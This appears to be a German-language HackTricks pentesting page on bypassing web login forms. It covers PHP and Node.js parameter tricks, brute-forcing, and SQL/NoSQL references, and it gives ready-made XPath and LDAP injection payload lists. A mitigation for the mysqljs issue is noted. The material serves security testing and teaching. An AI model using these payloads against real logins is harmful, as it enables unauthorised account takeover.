96 lines
4.6 KiB
Markdown

# Login Bypass
{{#include ../../banners/hacktricks-training.md}}
## **Umgehung des regulären Logins**
Wenn Sie eine Login-Seite finden, können Sie hier einige Techniken finden, um diese zu umgehen:
- Überprüfen Sie **Kommentare** auf der Seite (nach unten und nach rechts scrollen?)
- Überprüfen Sie, ob Sie **direkt auf die eingeschränkten Seiten zugreifen können**
- Überprüfen Sie, ob Sie **die Parameter nicht senden** (keine oder nur 1 senden)
- Überprüfen Sie den **PHP-Vergleichsfehler:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **Ändern Sie den Inhaltstyp in json** und senden Sie json-Werte (bool true eingeschlossen)
- Wenn Sie eine Antwort erhalten, die besagt, dass POST nicht unterstützt wird, können Sie versuchen, das **JSON im Body, aber mit einer GET-Anfrage** mit `Content-Type: application/json` zu senden
- Überprüfen Sie den möglichen Parsing-Fehler von nodejs (lesen Sie [**dies**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
- Nodejs wird diese Payload in eine Abfrage umwandeln, die der folgenden ähnelt: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` was dazu führt, dass das Passwort immer wahr ist.
- Wenn Sie ein JSON-Objekt senden können, können Sie `"password":{"password": 1}` senden, um den Login zu umgehen.
- Denken Sie daran, dass Sie, um diesen Login zu umgehen, immer einen **gültigen Benutzernamen kennen und senden müssen**.
- **Hinzufügen der Option `"stringifyObjects":true`** beim Aufruf von `mysql.createConnection` wird schließlich **alle unerwarteten Verhaltensweisen blockieren, wenn `Object` im Parameter übergeben wird**.
- Überprüfen Sie die Anmeldeinformationen:
- [**Standardanmeldeinformationen**](../../generic-hacking/brute-force.md#default-credentials) der verwendeten Technologie/Plattform
- **Häufige Kombinationen** (root, admin, password, Name der Technologie, Standardbenutzer mit einem dieser Passwörter).
- Erstellen Sie ein Wörterbuch mit **Cewl**, **fügen Sie** den **Standard**-Benutzernamen und das Passwort (falls vorhanden) hinzu und versuchen Sie, es mit allen Wörtern als **Benutzernamen und Passwort** zu brute-forcen
- **Brute-Force** mit einem größeren **Wörterbuch (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
### SQL Injection-Authentifizierungsumgehung
[Hier finden Sie mehrere Tricks, um den Login über **SQL-Injection** zu umgehen](../sql-injection/index.html#authentication-bypass).
Auf der folgenden Seite finden Sie eine **benutzerdefinierte Liste, um den Login** über SQL-Injection zu umgehen:
{{#ref}}
sql-login-bypass.md
{{#endref}}
### Keine SQL Injection-Authentifizierungsumgehung
[Hier finden Sie mehrere Tricks, um den Login über **No SQL Injections** zu umgehen](../nosql-injection.md#basic-authentication-bypass)**.**
Da die NoSQL-Injections erfordern, dass die Parameterwerte geändert werden, müssen Sie diese manuell testen.
### XPath Injection-Authentifizierungsumgehung
[Hier finden Sie mehrere Tricks, um den Login über **XPath Injection** zu umgehen.](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2
```
### LDAP Injection Authentifizierungsumgehung
[Hier finden Sie mehrere Tricks, um sich über **LDAP Injection** anzumelden.](../ldap-injection.md#login-bypass)
```
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
```
### Remember Me
Wenn die Seite eine "**Remember Me**" Funktionalität hat, überprüfe, wie sie implementiert ist und sieh nach, ob du sie ausnutzen kannst, um **andere Konten zu übernehmen**.
### Redirects
Seiten leiten Benutzer normalerweise nach dem Login um, überprüfe, ob du diese Umleitung ändern kannst, um einen [**Open Redirect**](../open-redirect.md) zu verursachen. Vielleicht kannst du einige Informationen (Codes, Cookies...) stehlen, wenn du den Benutzer auf deine Webseite umleitest.
## Other Checks
- Überprüfe, ob du **Benutzernamen auflisten** kannst, indem du die Login-Funktionalität ausnutzt.
- Überprüfe, ob **Auto-Complete** in den Passwort/**sensiblen** Informationen **Formularen** **aktiv** ist: `<input autocomplete="false">`
## Automatic Tools
- [HTLogin](https://github.com/akinerkisa/HTLogin)
{{#include ../../banners/hacktricks-training.md}}